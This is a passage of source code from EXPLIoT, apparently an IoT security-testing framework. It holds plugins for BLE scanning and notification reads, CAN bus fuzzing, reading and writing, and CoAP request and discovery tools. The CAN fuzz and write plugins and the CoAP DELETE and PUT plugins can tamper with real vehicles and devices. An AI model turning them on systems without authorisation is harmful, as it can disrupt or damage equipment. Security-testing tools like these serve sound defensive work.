will be read from", 45 | ) 46 | self.argparser.add_argument( 47 | "-n", 48 | "--handle", 49 | required=True, 50 | type=lambda x: int(x, 0), 51 | help="Specify the handle to read from. Prefix 0x if handle is hex", 52 | ) 53 | self.argparser.add_argument( 54 | "-r", 55 | "--randaddrtype", 56 | action="store_true", 57 | help="Use LE address type random. If not specified use address type public", 58 | ) 59 | self.argparser.add_argument( 60 | "-t", 61 | "--timeout", 62 | default=DEFAULT_NOTIFY_TIMEOUT, 63 | type=int, 64 | help="Notification data timeout in seconds. Default is {} seconds".format(DEFAULT_NOTIFY_TIMEOUT), 65 | ) 66 | 67 | @staticmethod 68 | def notifycb(handle, data): 69 | """Notification data read callback. 70 | 71 | Args: 72 | handle (int): The handle of the characteristic whose data is received. 73 | data (bytes): The data that is received from the BLE device. 74 | Returns: 75 | Nothing 76 | """ 77 | TLog.success(data.hex()) 78 | 79 | def execute(self): 80 | """Execute the test.""" 81 | 82 | TLog.generic( 83 | "Reading from Notify handle ({}) on BLE device ({})".format( 84 | hex(self.args.handle), self.args.addr) 85 | ) 86 | timer = Timer(self.args.timeout) 87 | ndelegate = BleNotifyDelegate(self.notifycb) 88 | device = BlePeripheral() 89 | try: 90 | device.connect( 91 | self.args.addr, 92 | addrType=( 93 | ADDR_TYPE_RANDOM 94 | if self.args.randaddrtype 95 | else ADDR_TYPE_PUBLIC 96 | ), 97 | ) 98 | TLog.generic("Enabling Notify on the handle") 99 | device.enable_notify(ndelegate, self.args.handle, write_response=True) 100 | while not timer.is_timeout(): 101 | device.waitForNotifications(1) 102 | ncount = ndelegate.count() 103 | if ncount > 0: 104 | self.output_handler(msg="Total notification data received {}".format(ncount), 105 | logkwargs=LOGNO, 106 | ndata=ncount) 107 | else: 108 | self.result.setstatus(passed=False, reason="No notification data received from BLE peripheral") 109 | except: # noqa: E722 110 | self.result.exception() 111 | finally: 112 | device.disconnect() 113 | -------------------------------------------------------------------------------- /expliot/plugins/ble/blescan.py: -------------------------------------------------------------------------------- 1 | """Support to scan for BLE devices.""" 2 | from expliot.core.tests.test import Test, TCategory, TTarget, TLog 3 | from expliot.core.common.exceptions import sysexcinfo 4 | from expliot.core.protocols.radio.ble import Ble 5 | from expliot.plugins.ble import BLE_REF 6 | 7 | 8 | # pylint: disable=bare-except, too-many-nested-blocks 9 | class BleScan(Test): 10 | """ 11 | Scan for BLE devices. 12 | 13 | output Format: 14 | [ 15 | { 16 | "name": "Foobar", # Device name if present or "Unknown" 17 | "addr": "de:ad:be:ef:00:00", # Device BLE address 18 | "addrtype": "random", # or "public" addr type 19 | "rssi": "60 dBm", # RSSI strength 20 | "connectable": True, # or False 21 | "adtype_data": [ 22 | { 23 | "adtype": 25, # int 24 | "description": "Foobar", # Human readable adtype name 25 | "value": "Foobar" # Value of adtype 26 | }, 27 | ... # may be more than one adtype_data 28 | ] 29 | }, 30 | # ... May be zero or more entries. 31 | # If zero ble devices found the above dict will not be present 32 | ] 33 | """ 34 | 35 | def __init__(self): 36 | """Initialize the test.""" 37 | super().__init__( 38 | name="scan", 39 | summary="BLE Scanner", 40 | descr="This plugin scans for BLE devices in (BLE range) " 41 | " proximity. NOTE: This plugin needs root privileges. " 42 | "You may run it as $ sudo expliot.", 43 | author="Aseem Jakhar", 44 | email="aseemjakhar@gmail.com", 45 | ref=[BLE_REF], 46 | category=TCategory(TCategory.BLE, TCategory.RD, TCategory.DISCOVERY), 47 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 48 | needroot=True, 49 | ) 50 | self.argparser.add_argument( 51 | "-i", 52 | "--iface", 53 | default=0, 54 | type=int, 55 | help="HCI interface no. to use for scanning. 0 = hci0, 1 = hci1 " 56 | "and so on. Default is 0", 57 | ) 58 | self.argparser.add_argument( 59 | "-t", 60 | "--timeout", 61 | default=10, 62 | type=int, 63 | help="Scan timeout. Default is 10 seconds", 64 | ) 65 | self.found = False 66 | 67 | def execute(self): 68 | """ 69 | Execute the plugin. 70 | Scan for BLE devices in the proximity. 71 | 72 | Returns: 73 | Nothing 74 | """ 75 | found = False 76 | TLog.generic("Scanning BLE devices for {} second(s)".format(self.args.timeout)) 77 | try: 78 | devices = Ble.scan(iface=self.args.iface, tout=self.args.timeout) 79 | for device in devices: 80 | found = True 81 | outdict = {"name": device.getValueText(Ble.ADTYPE_NAME) or "Unknown", 82 | "addr": device.addr, 83 | "addrtype": device.addrType, 84 | "rssi": "{} dBm".format(device.rssi), 85 | "connectable": device.connectable, 86 | "adtype_data": []} 87 | for scan_data in device.getScanData(): 88 | outdict["adtype_data"].append({"adtype": scan_data[0], 89 | "description": scan_data[1], 90 | "value": scan_data[2]}) 91 | self.output_handler(**outdict) 92 | except: # noqa: E722 93 | self.result.setstatus(passed=False, 94 | reason="Exception caught: {}".format(sysexcinfo())) 95 | 96 | if found is False: 97 | TLog.fail("No BLE devices found") 98 | -------------------------------------------------------------------------------- /expliot/plugins/busauditor/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for BUS Auditor hardware protocol tests.""" 2 | BUSAUDITOR_REFERENCE = "https://expliot.io/collections/frontpage/products/bus-auditor-pre-order" 3 | JTAG_REFERENCE = "https://developer.arm.com/documentation/ddi0314/h/debug-access-port/jtag-dp?lang=en" 4 | SWD_REFERENCE = "https://developer.arm.com/architectures/cpu-architecture/debug-visibility-and-trace/coresight-architecture/serial-wire-debug" 5 | I2C_REFERENCE = "https://www.nxp.com/docs/en/user-guide/UM10204.pdf" 6 | UART_REFERENCE = "https://en.wikipedia.org/wiki/Universal_asynchronous_receiver-transmitter" 7 | 8 | 9 | DEFAFULT_START = 0 10 | DEFAFULT_END = 4 11 | CHANNEL_MIN = 0 12 | CHANNEL_MAX = 15 13 | DEFAULT_VOLTS = "3.3" 14 | VOLTAGE_RANGE = ["3.3", "1.8", "1.2"] 15 | -------------------------------------------------------------------------------- /expliot/plugins/busauditor/badevinfo.py: -------------------------------------------------------------------------------- 1 | """Support for Bus Auditor Device Information.""" 2 | from expliot.core.interfaces.busauditor import BusAuditor 3 | from expliot.core.tests.test import TCategory, Test, TTarget 4 | from expliot.plugins.busauditor import BUSAUDITOR_REFERENCE 5 | 6 | 7 | # pylint: disable=bare-except 8 | class BaDevInfo(Test): 9 | """ 10 | BusAuditor Device information Plugin. 11 | 12 | Output Format: 13 | [ 14 | { 15 | "device_name": "BusAuditor", 16 | "serial_number": "348435533437", 17 | "fw_revision": "0.0.53", 18 | "hw_revision": "0.1", 19 | "services": { 20 | "read_revision": True, 21 | "read_services": True, 22 | "jtag_port_scan": True, 23 | "swd_port_scan": True, 24 | "uart_port_scan": True, 25 | "i2c_bus_scan": True 26 | } 27 | } 28 | ] 29 | """ 30 | 31 | def __init__(self): 32 | """Initialize the test.""" 33 | super().__init__( 34 | name="devinfo", 35 | summary="BusAuditor device information", 36 | descr="This plugin displays information about BusAuditor device.", 37 | author="Dattatray Hinge", 38 | email="dattatray@expliot.io", 39 | ref=[BUSAUDITOR_REFERENCE], 40 | category=TCategory(TCategory.BUS_AUDITOR, TCategory.HW, TCategory.RECON), 41 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 42 | ) 43 | 44 | def execute(self): 45 | """Execute the test.""" 46 | 47 | auditor = None 48 | 49 | try: 50 | auditor = BusAuditor() 51 | dev_info_dict = auditor.get_interface_info() 52 | 53 | self.output_handler(**dev_info_dict) 54 | 55 | except: # noqa: E722 56 | self.result.exception() 57 | 58 | finally: 59 | if auditor: 60 | auditor.close() 61 | -------------------------------------------------------------------------------- /expliot/plugins/can/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for interaction with a CAN bus.""" 2 | -------------------------------------------------------------------------------- /expliot/plugins/can/canfuzz.py: -------------------------------------------------------------------------------- 1 | """Testcase for fuzzing the CAN bus data message.""" 2 | from time import sleep 3 | from random import randint 4 | from expliot.core.tests.test import Test, TCategory, TTarget, \ 5 | TLog, LOGNORMAL 6 | from expliot.core.protocols.hardware.can import CanBus, CanMessage 7 | 8 | 9 | class CANFuzz(Test): 10 | """ 11 | Test for reading from the CAN bus. 12 | 13 | Output Format: 14 | [ 15 | {"count": 1, "fuzzdata": "00000042FF"}, 16 | # ... May be more than one fuzzdata sent 17 | ] 18 | """ 19 | 20 | def __init__(self): 21 | """Initialize the test.""" 22 | super().__init__( 23 | name="fuzzcan", 24 | summary="CAN bus fuzzer", 25 | descr="This plugin allows you to fuzz the message(s) on the CAN bus " 26 | "e.g, fuzz a data frame. As of now it uses socketcan but if " 27 | "you want to extend it to other interfaces, just open an issue " 28 | "on the official expliot project repository.", 29 | author="Arun Magesh", 30 | email="arun.m@payatu.com", 31 | ref=["https://en.wikipedia.org/wiki/CAN_bus"], 32 | category=TCategory(TCategory.CAN, TCategory.HW, TCategory.FUZZ), 33 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 34 | ) 35 | self.argparser.add_argument( 36 | "-i", "--iface", default="vcan0", help="Interface to use. Default is vcan0" 37 | ) 38 | self.argparser.add_argument( 39 | "-a", 40 | "--arbitid", 41 | required=True, 42 | type=lambda x: int(x, 0), 43 | help="Specify the arbitration ID. For hex value prefix it with 0x", 44 | ) 45 | self.argparser.add_argument( 46 | "-e", 47 | "--exid", 48 | action="store_true", 49 | help="Specify this option if using extended format --arbitid", 50 | ) 51 | self.argparser.add_argument( 52 | "-d", 53 | "--data", 54 | required=True, 55 | help="Specify the data to fuzz and the fuzzing byte to xx, as hex stream without the 0x prefix ",) 56 | self.argparser.add_argument( 57 | "-c", 58 | "--count", 59 | type=int, 60 | default=1, 61 | help="Specify the no. of messages to write. Default is 1", 62 | ) 63 | self.argparser.add_argument( 64 | "-w", 65 | "--wait", 66 | type=float, 67 | default=0, 68 | help="Specify the wait time, in seconds, between each consecutive " 69 | "message write. Default is to not wait between writes. You " 70 | "may use float values as well, e.g. 0.5", 71 | ) 72 | 73 | def execute(self): 74 | """Execute the test.""" 75 | TLog.generic( 76 | "Fuzz Writing to CANbus on interface({}), arbitration id(0x{:x}), " 77 | "extended?({}) data({})".format( 78 | self.args.iface, self.args.arbitid, self.args.exid, self.args.data 79 | ) 80 | ) 81 | bus = None 82 | try: 83 | if self.args.count < 1: 84 | raise ValueError( 85 | "Illegal count value {}".format( 86 | self.args.count)) 87 | if self.args.wait < 0: 88 | raise ValueError( 89 | "Illegal wait value {}".format( 90 | self.args.wait)) 91 | bus = CanBus(bustype="socketcan", channel=self.args.iface) 92 | for count in range(1, self.args.count + 1): 93 | datacan = self.args.data 94 | while datacan.find("xx") >= 0: 95 | datacan = datacan.replace("xx", "{:02x}".format( 96 | randint(0, 0xFF)), 1) # main fuzzing magic with randint 97 | message = CanMessage( 98 | arbitration_id=self.args.arbitid, 99 | extended_id=self.args.exid, 100 | data=list( 101 | bytes.fromhex(datacan))) 102 | bus.send(message) 103 | self.output_handler(logkwargs=LOGNORMAL, count=count, fuzzdata=datacan) 104 | if self.args.wait > 0: 105 | sleep(self.args.wait) 106 | except BaseException: 107 | self.result.exception() 108 | finally: 109 | if bus: 110 | bus.shutdown() 111 | -------------------------------------------------------------------------------- /expliot/plugins/can/canread.py: -------------------------------------------------------------------------------- 1 | """Test for reading data from the CAN bus.""" 2 | from binascii import hexlify 3 | from expliot.core.tests.test import Test, TCategory, TTarget, \ 4 | TLog, LOGNORMAL 5 | from expliot.core.protocols.hardware.can import CanBus 6 | 7 | 8 | # pylint: disable=bare-except 9 | class CANRead(Test): 10 | """ 11 | Test for reading from the CAN bus. 12 | 13 | Output Format: 14 | There are two types of format 15 | 1. Read all types of can messages 16 | 2. Where arbitration id is specified for reading those can messages 17 | 18 | 1. Read all 19 | [ 20 | { 21 | "count":1, 22 | "arbitration_id":"0x161", 23 | "data":"000005500108000d" 24 | }, 25 | # ... May be more than one message 26 | ] 27 | 28 | 2. Read only for specific arbitration id 29 | [ 30 | { 31 | "count":28, 32 | "data":"000000013d" 33 | }, 34 | # ... May be more than one message 35 | ] 36 | """ 37 | 38 | def __init__(self): 39 | """Initialize the test.""" 40 | super().__init__( 41 | name="readcan", 42 | summary="CAN bus reader", 43 | descr="This plugin allows you to read message(s) from the CAN bus. " 44 | "As of now it uses socketcan but if you want to extend it to" 45 | " other interfaces, just open an issue on the official" 46 | " expliot project repository.", 47 | author="Aseem Jakhar", 48 | email="aseemjakhar@gmail.com", 49 | ref=["https://en.wikipedia.org/wiki/CAN_bus"], 50 | category=TCategory(TCategory.CAN, TCategory.HW, TCategory.ANALYSIS), 51 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 52 | ) 53 | 54 | self.argparser.add_argument( 55 | "-i", "--iface", default="vcan0", help="Interface to use. Default is vcan0" 56 | ) 57 | self.argparser.add_argument( 58 | "-a", 59 | "--arbitid", 60 | type=lambda x: int(x, 0), 61 | help="Show messages of the specified arbitration ID only. For hex " 62 | "value prefix it with 0x", 63 | ) 64 | self.argparser.add_argument( 65 | "-c", 66 | "--count", 67 | type=int, 68 | default=10, 69 | help="Specify the count of messages to read from the CANBus. Default is 10", 70 | ) 71 | self.argparser.add_argument( 72 | "-t", 73 | "--timeout", 74 | type=float, 75 | help="Specify the time, in seconds, to wait for each read. Default " 76 | "is to wait forever. You may use float values as well i.e. 0.5", 77 | ) 78 | 79 | def execute(self): 80 | """Execute the test.""" 81 | TLog.generic( 82 | "Reading ({}) messages from CANbus on interface({})".format( 83 | self.args.count, self.args.iface 84 | ) 85 | ) 86 | 87 | bus = None 88 | try: 89 | if self.args.count < 1: 90 | raise ValueError("Illegal count value {}".format(self.args.count)) 91 | bus = CanBus(bustype="socketcan", channel=self.args.iface) 92 | for cnt in range(1, self.args.count + 1): 93 | message = bus.recv(timeout=self.args.timeout) 94 | if message is None: 95 | raise TimeoutError("Timed out while waiting for CAN message") 96 | if self.args.arbitid: 97 | if self.args.arbitid == message.arbitration_id: 98 | self.output_handler(logkwargs=LOGNORMAL, 99 | count=cnt, 100 | data=hexlify(message.data).decode()) 101 | else: 102 | self.output_handler(logkwargs=LOGNORMAL, 103 | count=cnt, 104 | arbitration_id="0x{:x}".format(message.arbitration_id), 105 | data=hexlify(message.data).decode()) 106 | except: # noqa: E722 107 | self.result.exception() 108 | finally: 109 | if bus: 110 | bus.shutdown() 111 | -------------------------------------------------------------------------------- /expliot/plugins/can/canwrite.py: -------------------------------------------------------------------------------- 1 | """Test for writing data to the CAN bus.""" 2 | from time import sleep 3 | from expliot.core.tests.test import Test, TCategory, TTarget, TLog 4 | from expliot.core.protocols.hardware.can import CanBus, CanMessage 5 | 6 | 7 | # pylint: disable=bare-except 8 | class CANWrite(Test): 9 | """ 10 | Test for writing from the CAN bus. 11 | 12 | Output Format: 13 | [ 14 | {"message_sent": 1}, 15 | # ... May be more than one message sent 16 | ] 17 | """ 18 | 19 | def __init__(self): 20 | """Initialize the test.""" 21 | super().__init__( 22 | name="writecan", 23 | summary="CAN bus writer", 24 | descr="This plugin allows you to write message(s) on the CAN bus " 25 | "e.g, send a data frame. As of now it uses socketcan but if " 26 | "you want to extend it to other interfaces, just open an issue " 27 | "on the official expliot project repository.", 28 | author="Aseem Jakhar", 29 | email="aseemjakhar@gmail.com", 30 | ref=["https://en.wikipedia.org/wiki/CAN_bus"], 31 | category=TCategory(TCategory.CAN, TCategory.HW, TCategory.ANALYSIS), 32 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 33 | ) 34 | 35 | self.argparser.add_argument( 36 | "-i", "--iface", default="vcan0", help="Interface to use. Default is vcan0" 37 | ) 38 | self.argparser.add_argument( 39 | "-a", 40 | "--arbitid", 41 | required=True, 42 | type=lambda x: int(x, 0), 43 | help="Specify the arbitration ID. For hex value prefix it with 0x", 44 | ) 45 | self.argparser.add_argument( 46 | "-e", 47 | "--exid", 48 | action="store_true", 49 | help="Specify this option if using extended format --arbitid", 50 | ) 51 | self.argparser.add_argument( 52 | "-d", 53 | "--data", 54 | required=True, 55 | help="Specify the data to write, as hex stream, without the 0x prefix", 56 | ) 57 | self.argparser.add_argument( 58 | "-c", 59 | "--count", 60 | type=int, 61 | default=1, 62 | help="Specify the no. of messages to write. Default is 1", 63 | ) 64 | self.argparser.add_argument( 65 | "-w", 66 | "--wait", 67 | type=float, 68 | help="Specify the wait time, in seconds, between each consecutive " 69 | "message write. Default is to not wait between writes. You " 70 | "may use float values as well, e.g. 0.5", 71 | ) 72 | 73 | def execute(self): 74 | """Execute tht test.""" 75 | TLog.generic( 76 | "Writing to CANbus on interface({}), arbitration id(0x{:x}), " 77 | "extended?({}) data({})".format( 78 | self.args.iface, self.args.arbitid, self.args.exid, self.args.data 79 | ) 80 | ) 81 | bus = None 82 | try: 83 | if self.args.count < 1: 84 | raise ValueError("Illegal count value {}".format(self.args.count)) 85 | bus = CanBus(bustype="socketcan", channel=self.args.iface) 86 | message = CanMessage( 87 | arbitration_id=self.args.arbitid, 88 | extended_id=self.args.exid, 89 | data=list(bytes.fromhex(self.args.data)), 90 | ) 91 | for count in range(1, self.args.count + 1): 92 | bus.send(message) 93 | self.output_handler(message_sent=count) 94 | if self.args.wait and count < self.args.count: 95 | sleep(self.args.wait) 96 | except: # noqa: E722 97 | self.result.exception() 98 | finally: 99 | if bus: 100 | bus.shutdown() 101 | -------------------------------------------------------------------------------- /expliot/plugins/coap/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for CoAP interactions.""" 2 | -------------------------------------------------------------------------------- /expliot/plugins/coap/coapdelete.py: -------------------------------------------------------------------------------- 1 | """Test for deleting data from a CoAP device.""" 2 | 3 | from expliot.core.tests.test import ( 4 | Test, 5 | TCategory, 6 | TTarget, 7 | TLog, 8 | ) 9 | 10 | from expliot.core.protocols.internet.coap import ( 11 | CoapClient, 12 | ROOTPATH, 13 | COAP_PORT, 14 | ) 15 | 16 | 17 | # pylint: disable=bare-except 18 | class CoapDelete(Test): 19 | """ 20 | Test for Sending DELETE request to a CoAP device. 21 | 22 | Output Format: 23 | [ 24 | { 25 | "response_code": 69 # Ex. 69=0b01000101 (0b010=2, 0b00101=5) 26 | "response_code_str": "2.05 Content", 27 | "response_payload": "Foo bar" # or "" if no payload in response 28 | } 29 | ] 30 | """ 31 | 32 | def __init__(self): 33 | """Initialize the test.""" 34 | super().__init__( 35 | name="delete", 36 | summary="CoAP DELETE request", 37 | descr="This test allows you to send a CoAP DELETE request (Message) " 38 | "to a CoAP server on a specified resource path.", 39 | author="Aseem Jakhar", 40 | email="aseem@expliot.io", 41 | ref=["https://tools.ietf.org/html/rfc7252"], 42 | category=TCategory(TCategory.COAP, TCategory.SW, TCategory.RECON), 43 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 44 | ) 45 | 46 | self.argparser.add_argument( 47 | "-r", 48 | "--rhost", 49 | required=True, 50 | help="Hostname/IP address of the target CoAP Server", 51 | ) 52 | self.argparser.add_argument( 53 | "-p", 54 | "--rport", 55 | default=COAP_PORT, 56 | type=int, 57 | help="Port number of the target CoAP Server. Default " 58 | "is {}".format(COAP_PORT), 59 | ) 60 | self.argparser.add_argument( 61 | "-u", 62 | "--path", 63 | default=ROOTPATH, 64 | help="Resource URI path of the DELETE request. Default " 65 | "is URI path {}".format(ROOTPATH), 66 | ) 67 | 68 | def execute(self): 69 | """Execute the test.""" 70 | TLog.generic( 71 | "Sending DELETE request for URI Path ({}) " 72 | "to CoAP Server {} on port {}".format( 73 | self.args.path, 74 | self.args.rhost, 75 | self.args.rport 76 | ) 77 | ) 78 | try: 79 | client = CoapClient(self.args.rhost, port=self.args.rport) 80 | response = client.delete(path=self.args.path) 81 | if not response.code.is_successful(): 82 | self.result.setstatus( 83 | passed=False, 84 | reason="Error Response: {}".format( 85 | CoapClient.response_dict(response) 86 | ) 87 | ) 88 | return 89 | self.output_handler( 90 | response_code=int(response.code), 91 | response_code_str=str(response.code), 92 | response_payload=response.payload 93 | ) 94 | except: # noqa: E722 95 | self.result.exception() 96 | -------------------------------------------------------------------------------- /expliot/plugins/coap/coapget.py: -------------------------------------------------------------------------------- 1 | """Test for getting data from a CoAP device.""" 2 | 3 | from expliot.core.tests.test import ( 4 | Test, 5 | TCategory, 6 | TTarget, 7 | TLog, 8 | ) 9 | 10 | from expliot.core.protocols.internet.coap import ( 11 | CoapClient, 12 | ROOTPATH, 13 | COAP_PORT, 14 | ) 15 | 16 | 17 | # pylint: disable=bare-except 18 | class CoapGet(Test): 19 | """ 20 | Test for Sending GET request to a CoAP device. 21 | 22 | Output Format: 23 | [ 24 | { 25 | "response_code": 69 # Ex. 69=0b01000101 (0b010=2, 0b00101=5) 26 | "response_code_str": "2.05 Content", 27 | "response_payload": "Foo bar" # or "" if no payload in response 28 | } 29 | ] 30 | """ 31 | 32 | def __init__(self): 33 | """Initialize the test.""" 34 | super().__init__( 35 | name="get", 36 | summary="CoAP GET request", 37 | descr="This test allows you to send a CoAP GET request (Message) " 38 | "to a CoAP server on a specified resource path.", 39 | author="Aseem Jakhar", 40 | email="aseem@expliot.io", 41 | ref=["https://tools.ietf.org/html/rfc7252"], 42 | category=TCategory(TCategory.COAP, TCategory.SW, TCategory.RECON), 43 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 44 | ) 45 | 46 | self.argparser.add_argument( 47 | "-r", 48 | "--rhost", 49 | required=True, 50 | help="Hostname/IP address of the target CoAP Server", 51 | ) 52 | self.argparser.add_argument( 53 | "-p", 54 | "--rport", 55 | default=COAP_PORT, 56 | type=int, 57 | help="Port number of the target CoAP Server. Default " 58 | "is {}".format(COAP_PORT), 59 | ) 60 | self.argparser.add_argument( 61 | "-u", 62 | "--path", 63 | default=ROOTPATH, 64 | help="Resource URI path of the GET request. Default " 65 | "is URI path {}".format(ROOTPATH), 66 | ) 67 | 68 | def execute(self): 69 | """Execute the test.""" 70 | TLog.generic( 71 | "Sending GET request for URI Path ({}) " 72 | "to CoAP Server {} on port {}".format( 73 | self.args.path, 74 | self.args.rhost, 75 | self.args.rport 76 | ) 77 | ) 78 | try: 79 | client = CoapClient(self.args.rhost, port=self.args.rport) 80 | response = client.get(path=self.args.path) 81 | if not response.code.is_successful(): 82 | self.result.setstatus( 83 | passed=False, 84 | reason="Error Response: {}".format( 85 | CoapClient.response_dict(response) 86 | ) 87 | ) 88 | return 89 | self.output_handler( 90 | response_code=int(response.code), 91 | response_code_str=str(response.code), 92 | response_payload=response.payload 93 | ) 94 | except: # noqa: E722 95 | self.result.exception() 96 | -------------------------------------------------------------------------------- /expliot/plugins/coap/coappost.py: -------------------------------------------------------------------------------- 1 | """Test for Sending POST request to a CoAP device.""" 2 | 3 | from expliot.core.tests.test import ( 4 | Test, 5 | TCategory, 6 | TTarget, 7 | TLog, 8 | ) 9 | 10 | from expliot.core.protocols.internet.coap import ( 11 | CoapClient, 12 | ROOTPATH, 13 | COAP_PORT, 14 | ) 15 | 16 | 17 | # pylint: disable=bare-except 18 | class CoapPost(Test): 19 | """ 20 | Test for POSTing data on a specified resource path on a CoAP device. 21 | 22 | Output Format: 23 | [ 24 | { 25 | "response_code": 69 # Ex. 69=0b01000101 (0b010=2, 0b00101=5) 26 | "response_code": "2.05 Content", 27 | "response_payload": "Foo bar" # or "" if no payload in response 28 | } 29 | ] 30 | """ 31 | 32 | def __init__(self): 33 | """Initialize the test.""" 34 | super().__init__( 35 | name="post", 36 | summary="CoAP POST request", 37 | descr="This test allows you to send a CoAP POST request (Message) " 38 | "to a CoAP server on a specified resource path.", 39 | author="Aseem Jakhar", 40 | email="aseem@expliot.io", 41 | ref=["https://tools.ietf.org/html/rfc7252"], 42 | category=TCategory(TCategory.COAP, TCategory.SW, TCategory.RECON), 43 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 44 | ) 45 | 46 | self.argparser.add_argument( 47 | "-r", 48 | "--rhost", 49 | required=True, 50 | help="Hostname/IP address of the target CoAP Server", 51 | ) 52 | self.argparser.add_argument( 53 | "-p", 54 | "--rport", 55 | default=COAP_PORT, 56 | type=int, 57 | help="Port number of the target CoAP Server. Default " 58 | "is {}".format(COAP_PORT), 59 | ) 60 | self.argparser.add_argument( 61 | "-u", 62 | "--path", 63 | default=ROOTPATH, 64 | help="Resource URI path of the POST request. Default " 65 | "is URI path {}".format(ROOTPATH), 66 | ) 67 | self.argparser.add_argument( 68 | "-d", 69 | "--data", 70 | required=True, 71 | help="The POST data/payload to be sent to the CoAP server", 72 | ) 73 | 74 | def execute(self): 75 | """Execute the test.""" 76 | TLog.generic( 77 | "Sending POST request to URI Path ({}) " 78 | "to CoAP Server {} port {} with data ({})".format( 79 | self.args.path, 80 | self.args.rhost, 81 | self.args.rport, 82 | self.args.data 83 | ) 84 | ) 85 | try: 86 | client = CoapClient(self.args.rhost, port=self.args.rport) 87 | response = client.post( 88 | path=self.args.path, 89 | payload=self.args.data.encode() 90 | ) 91 | if not response.code.is_successful(): 92 | self.result.setstatus( 93 | passed=False, 94 | reason="Error Response: {}".format( 95 | CoapClient.response_dict(response) 96 | ) 97 | ) 98 | return 99 | self.output_handler( 100 | response_code=int(response.code), 101 | response_code_str=str(response.code), 102 | response_payload=response.payload 103 | ) 104 | except: # noqa: E722 105 | self.result.exception() 106 | -------------------------------------------------------------------------------- /expliot/plugins/coap/coapput.py: -------------------------------------------------------------------------------- 1 | """Test for Sending PUT request to a CoAP device.""" 2 | 3 | from expliot.core.tests.test import ( 4 | Test, 5 | TCategory, 6 | TTarget, 7 | TLog, 8 | ) 9 | 10 | from expliot.core.protocols.internet.coap import ( 11 | CoapClient, 12 | ROOTPATH, 13 | COAP_PORT, 14 | ) 15 | 16 | 17 | # pylint: disable=bare-except 18 | class CoapPut(Test): 19 | """ 20 | Test for PUTting data on a specified resource path on a CoAP device. 21 | 22 | Output Format: 23 | [ 24 | { 25 | "response_code": 69 # Ex. 69=0b01000101 (0b010=2, 0b00101=5) 26 | "response_code": "2.05 Content", 27 | "response_payload": "Foo bar" # or "" if no payload in response 28 | } 29 | ] 30 | """ 31 | 32 | def __init__(self): 33 | """Initialize the test.""" 34 | super().__init__( 35 | name="put", 36 | summary="CoAP PUT request", 37 | descr="This test allows you to send a CoAP PUT request (Message) " 38 | "to a CoAP server on a specified resource path.", 39 | author="Aseem Jakhar", 40 | email="aseem@expliot.io", 41 | ref=["https://tools.ietf.org/html/rfc7252"], 42 | category=TCategory(TCategory.COAP, TCategory.SW, TCategory.RECON), 43 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 44 | ) 45 | 46 | self.argparser.add_argument( 47 | "-r", 48 | "--rhost", 49 | required=True, 50 | help="Hostname/IP address of the target CoAP Server", 51 | ) 52 | self.argparser.add_argument( 53 | "-p", 54 | "--rport", 55 | default=COAP_PORT, 56 | type=int, 57 | help="Port number of the target CoAP Server. Default " 58 | "is {}".format(COAP_PORT), 59 | ) 60 | self.argparser.add_argument( 61 | "-u", 62 | "--path", 63 | default=ROOTPATH, 64 | help="Resource URI path of the PUT request. Default " 65 | "is URI path {}".format(ROOTPATH), 66 | ) 67 | self.argparser.add_argument( 68 | "-d", 69 | "--data", 70 | required=True, 71 | help="The PUT data/payload to be sent to the CoAP server", 72 | ) 73 | 74 | def execute(self): 75 | """Execute the test.""" 76 | TLog.generic( 77 | "Sending PUT request to URI Path ({}) " 78 | "to CoAP Server {} port {} with data ({})".format( 79 | self.args.path, 80 | self.args.rhost, 81 | self.args.rport, 82 | self.args.data 83 | ) 84 | ) 85 | try: 86 | client = CoapClient(self.args.rhost, port=self.args.rport) 87 | response = client.put( 88 | path=self.args.path, 89 | payload=self.args.data.encode() 90 | ) 91 | if not response.code.is_successful(): 92 | self.result.setstatus( 93 | passed=False, 94 | reason="Error Response: {}".format( 95 | CoapClient.response_dict(response) 96 | ) 97 | ) 98 | return 99 | self.output_handler( 100 | response_code=int(response.code), 101 | response_code_str=str(response.code), 102 | response_payload=response.payload 103 | ) 104 | except: # noqa: E722 105 | self.result.exception() 106 | -------------------------------------------------------------------------------- /expliot/plugins/coap/discover.py: -------------------------------------------------------------------------------- 1 | """Test for getting data from a CoAP device.""" 2 | 3 | from expliot.core.tests.test import ( 4 | Test, 5 | TCategory, 6 | TTarget, 7 | TLog, 8 | ) 9 | 10 | from expliot.core.protocols.internet.coap import ( 11 | CoapDiscovery, 12 | WKRPATH, 13 | COAP_PORT, 14 | ) 15 | 16 | 17 | # pylint: disable=bare-except 18 | class Discover(Test): 19 | """ 20 | Test for discovering and listing resources available on a CoAP server 21 | 22 | Output Format: 23 | [ 24 | { 25 | "path": "/foo", # Only Path key is mandatory. 26 | "ct": "0", 27 | "rt": "observe", 28 | "title": "Foo Bar Title" 29 | }, 30 | #... 31 | { 32 | "path": "/bar", # Only Path key is mandatory. 33 | "sz": "0", 34 | "if": "Foo If", 35 | }, 36 | # ...May be more than one resource entries. Please note 37 | # that only the "path" key is mandatory i.e. will be present 38 | # in all, other attributes may or may not be present depending 39 | # on what was advertised by the CoAP server 40 | { 41 | "total_resources": 35 42 | }, 43 | 44 | ] 45 | """ 46 | 47 | def __init__(self): 48 | """Initialize the test.""" 49 | super().__init__( 50 | name="discover", 51 | summary="CoRE Resource Discovery", 52 | descr="This test allows you to discover and list the well-known " 53 | "resources advertised as CoRE link format on a CoAP server.", 54 | author="Aseem Jakhar", 55 | email="aseem@expliot.io", 56 | ref=["https://tools.ietf.org/html/rfc6690"], 57 | category=TCategory(TCategory.COAP, TCategory.SW, TCategory.DISCOVERY), 58 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 59 | ) 60 | 61 | self.argparser.add_argument( 62 | "-r", 63 | "--rhost", 64 | required=True, 65 | 